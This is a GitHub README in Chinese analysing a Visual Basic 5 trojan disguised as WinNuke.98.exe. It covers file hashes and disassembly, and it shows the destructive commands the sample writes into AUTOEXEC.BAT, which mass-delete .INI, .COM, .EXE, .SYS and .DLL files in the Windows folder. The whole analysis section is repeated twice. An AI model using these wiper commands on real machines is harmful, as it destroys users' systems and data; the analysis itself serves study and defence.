RedHarlowCore/winnuke98-malware-analysis
GitHub: RedHarlowCore/winnuke98-malware-analysis
该仓库提供对伪装成 WinNuke.98.exe 的传统破坏性 Visual Basic 5 木马的完整静态逆向分析报告,涵盖反汇编代码、文件特征和行为链。
Stars: 0 | Forks: 0
# Visual Basic 5 恶意软件分析:WinNuke.98.exe(破坏性擦除器)
## 📌 执行摘要
本仓库包含对一个伪装成 `WinNuke.98.exe` 的传统破坏性木马的静态代码分析。虽然该文件名模仿了 90 年代末著名的网络攻击工具(用于 NetBIOS 带外漏洞),但其真实的 payload 是一个针对 **Windows 95/98** 操作系统的计算机擦除器。
该恶意软件使用 **Microsoft Visual Basic 5.0** 编译,并严重依赖于传统的 VB runtime 库(`MSVBVM50.DLL`)。
## 🔍 文件特征与哈希值
* **文件名:** `WinNuke.98.exe`
* **文件类型:** PE32(32 位可执行文件,GUI)
* **架构:** i386
* **编译器:** Microsoft Visual Basic (5.0)
* **目标操作系统:** Windows (95/98)
* **文件大小:** 32.50 KiB
* **MD5:** `eb9324121994e5e41f1738b5af8944b1`
* **SHA-1:** `aa63c521b64602fa9c3a73dadd412fdaf181b690`
* **SHA-256:** `2f1f93ede80502d153e301baf9b7f68e7c7a9344cfa90cfae396aac17e81ce5a`
## 🛠️ 技术代码分析
该恶意软件通过利用内部的 MSVBVM runtime 原语,绕过了标准的 Windows API 调用。下面是映射出确切恶意流程的反汇编代码片段:
### 步骤 1:删除原始启动配置
该恶意软件首先尝试使用内部 Visual Basic runtime 函数 `rtcKillFiles`(相当于 VB 中的 `Kill` 命令)删除主要的 MS-DOS/Windows 启动配置文件。
```
loc_00405134: mov var_38, 00404488h ; "C:\AUTOEXEC.BAT"
loc_0040513B: mov var_40, 00000008h
loc_00405142: call [0040816Ch] ; __vbaVarDup (Duplicates the string variable)
loc_00405148: lea edx, var_30
loc_0040514B: push edx
loc_0040514C: call [0040811Ch] ; rtcKillFiles -> Deletes C:\AUTOEXEC.BAT
```
### 步骤 2:覆盖并感染启动流
在删除原始文件后,它通过 `__vbaFileOpen` 创建了一个新的恶意 `AUTOEXEC.BAT` 文件。接着,它使用 `__vbaPrintFile`(相当于汇编中的 `Print #` 语句)将破坏性的 OS payload 依次写入启动例程中。
```
loc_0040517C: push 00404488h ; "C:\AUTOEXEC.BAT"
loc_00405181: push esi
loc_00405182: push FFFFFFFFh
loc_00405184: push 00000002h
loc_00405186: call [0040814Ch] ; __vbaFileOpen (Creates/Opens file for writing)
```
### 步骤 3:释放到 AUTOEXEC.BAT 的脚本化 Payload
被写入启动序列的恶意命令被隐蔽地配置为在下次系统重启时执行:
1. **隐藏执行过程:**
loc_00405192: push 004044ACh ; "@ECHO OFF" -> 对用户隐藏命令行执行过程
loc_0040519D: call edi ; __vbaPrintFile
2. **导航至核心目录:**
loc_004051A2: push 004044CCh ; "CD WINDOWS" -> 切换目录到 OS 根文件夹
loc_004051AD: call edi ; __vbaPrintFile
3. **大规模存储擦除阶段:**
它循环遍历关键的系统扩展名,以使整个 OS 在下次启动时无法引导:
loc_004051B2: push 004044E8h ; "DEL *.INI" -> 删除配置文件
loc_004051C2: push 00404500h ; "DEL *.COM" -> 删除 MS-DOS 可执行文件 (COMMAND.COM)
loc_004051D2: push 00404518h ; "DEL *.EXE" -> 删除 Windows 核心可执行文件
loc_004051E2: push 00404530h ; "DEL *.SYS" -> 删除设备驱动程序和内核模块
loc_004051F2: push 00404548h ; "DEL *.DLL" -> 删除动态链接库
## ☣️ 恶意软件行为总结(TL;DR)
1. **伪装:** 通过将自身伪装成实用工具(`WinNuke`)来诱骗用户运行它。
2. **持久化与执行:** 用极具破坏性的批量删除脚本替换 `C:\AUTOEXEC.BAT`。
3. **影响:** 在下次系统重启时彻底擦除 Windows 目录,导致老旧机器出现永久性蓝屏(BSOD)以及严重的数据丢失。
## ⚠️ 免责声明
本分析仅供教育、研究和防御目的。请勿在严格隔离的、仅主机模式的实验室环境之外尝试运行或编译传统 payload。
## 🛠️ 技术代码分析
该恶意软件通过利用内部的 MSVBVM runtime 原语,绕过了标准的 Windows API 调用。下面是映射出确切恶意流程的反汇编代码片段:
### 步骤 1:删除原始启动配置
该恶意软件首先尝试使用内部 Visual Basic runtime 函数 `rtcKillFiles`(相当于 VB 中的 `Kill` 命令)删除主要的 MS-DOS/Windows 启动配置文件。
```
loc_00405134: mov var_38, 00404488h ; "C:\AUTOEXEC.BAT"
loc_0040513B: mov var_40, 00000008h
loc_00405142: call [0040816Ch] ; __vbaVarDup (Duplicates the string variable)
loc_00405148: lea edx, var_30
loc_0040514B: push edx
loc_0040514C: call [0040811Ch] ; rtcKillFiles -> Deletes C:\AUTOEXEC.BAT
```
### 步骤 2:覆盖并感染启动流
在删除原始文件后,它通过 `__vbaFileOpen` 创建了一个新的恶意 `AUTOEXEC.BAT` 文件。接着,它使用 `__vbaPrintFile`(相当于汇编中的 `Print #` 语句)将破坏性的 OS payload 依次写入启动例程中。
```
loc_0040517C: push 00404488h ; "C:\AUTOEXEC.BAT"
loc_00405181: push esi
loc_00405182: push FFFFFFFFh
loc_00405184: push 00000002h
loc_00405186: call [0040814Ch] ; __vbaFileOpen (Creates/Opens file for writing)
```
### 步骤 3:释放到 AUTOEXEC.BAT 的脚本化 Payload
被写入启动序列的恶意命令被隐蔽地配置为在下次系统重启时执行:
1. **隐藏执行过程:**
loc_00405192: push 004044ACh ; "@ECHO OFF" -> 对用户隐藏命令行执行过程
loc_0040519D: call edi ; __vbaPrintFile
2. **导航至核心目录:**
loc_004051A2: push 004044CCh ; "CD WINDOWS" -> 切换目录到 OS 根文件夹
loc_004051AD: call edi ; __vbaPrintFile
3. **大规模存储擦除阶段:**
它循环遍历关键的系统扩展名,以使整个 OS 在下次启动时无法引导:
loc_004051B2: push 004044E8h ; "DEL *.INI" -> 删除配置文件
loc_004051C2: push 00404500h ; "DEL *.COM" -> 删除 MS-DOS 可执行文件 (COMMAND.COM)
loc_004051D2: push 00404518h ; "DEL *.EXE" -> 删除 Windows 核心可执行文件
loc_004051E2: push 00404530h ; "DEL *.SYS" -> 删除设备驱动程序和内核模块
loc_004051F2: push 00404548h ; "DEL *.DLL" -> 删除动态链接库
## ☣️ 恶意软件行为总结(TL;DR)
1. **伪装:** 通过将自身伪装成实用工具(`WinNuke`)来诱骗用户运行它。
2. **持久化与执行:** 用极具破坏性的批量删除脚本替换 `C:\AUTOEXEC.BAT`。
3. **影响:** 在下次系统重启时彻底擦除 Windows 目录,导致老旧机器出现永久性蓝屏(BSOD)以及严重的数据丢失。
## ⚠️ 免责声明
本分析仅供教育、研究和防御目的。请勿在严格隔离的、仅主机模式的实验室环境之外尝试运行或编译传统 payload。标签:DAST, Visual Basic 5, Wiper, 云资产清单, 威胁情报, 开发者工具, 恶意软件分析, 逆向工程